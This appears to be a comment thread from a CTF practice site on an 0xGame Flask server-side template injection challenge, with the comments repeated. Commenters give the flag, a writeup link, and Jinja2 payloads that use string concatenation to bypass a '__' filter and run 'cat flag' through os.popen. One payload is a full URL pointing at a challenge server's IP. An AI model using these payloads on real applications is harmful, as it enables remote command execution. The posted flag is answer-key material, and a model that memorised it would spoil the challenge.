0xGame{fl4sk_sst1_ju5t_5o_s0,r1ght?} ?
0xGame{fl4sk_sst1_ju5t_5o_s0,r1ght?}
wp可参考https://ctf.bugku.com/writeup/detail/id/1203.html
首先无脑尝试几个语句,很容易发现__被过滤,那就字符串拼接(其实还有class被过滤,这个比较难发现,只能一个个尝试)
search={{url_for['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
http://82.157.146.43:18893/?search={{config['_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_']['_'+'_'+'init'+'_'+'_']['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
爆出传参search,利用字符串拼接绕过
...
评论
杰小小勇闯天涯 6天前
举报
0xGame{fl4sk_sst1_ju5t_5o_s0,r1ght?} ?
yaozhiwang 13天前
举报
0xGame{fl4sk_sst1_ju5t_5o_s0,r1ght?}
xiaobai568 5月前
举报
wp可参考https://ctf.bugku.com/writeup/detail/id/1203.html
WCRH 5月前
举报
首先无脑尝试几个语句,很容易发现__被过滤,那就字符串拼接(其实还有class被过滤,这个比较难发现,只能一个个尝试)
单手压FL 6月前
举报
search={{url_for['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
jz1111 10月前
举报
http://82.157.146.43:18893/?search={{config['_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_']['_'+'_'+'init'+'_'+'_']['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
2728462336 1年前
举报
爆出传参search,利用字符串拼接绕过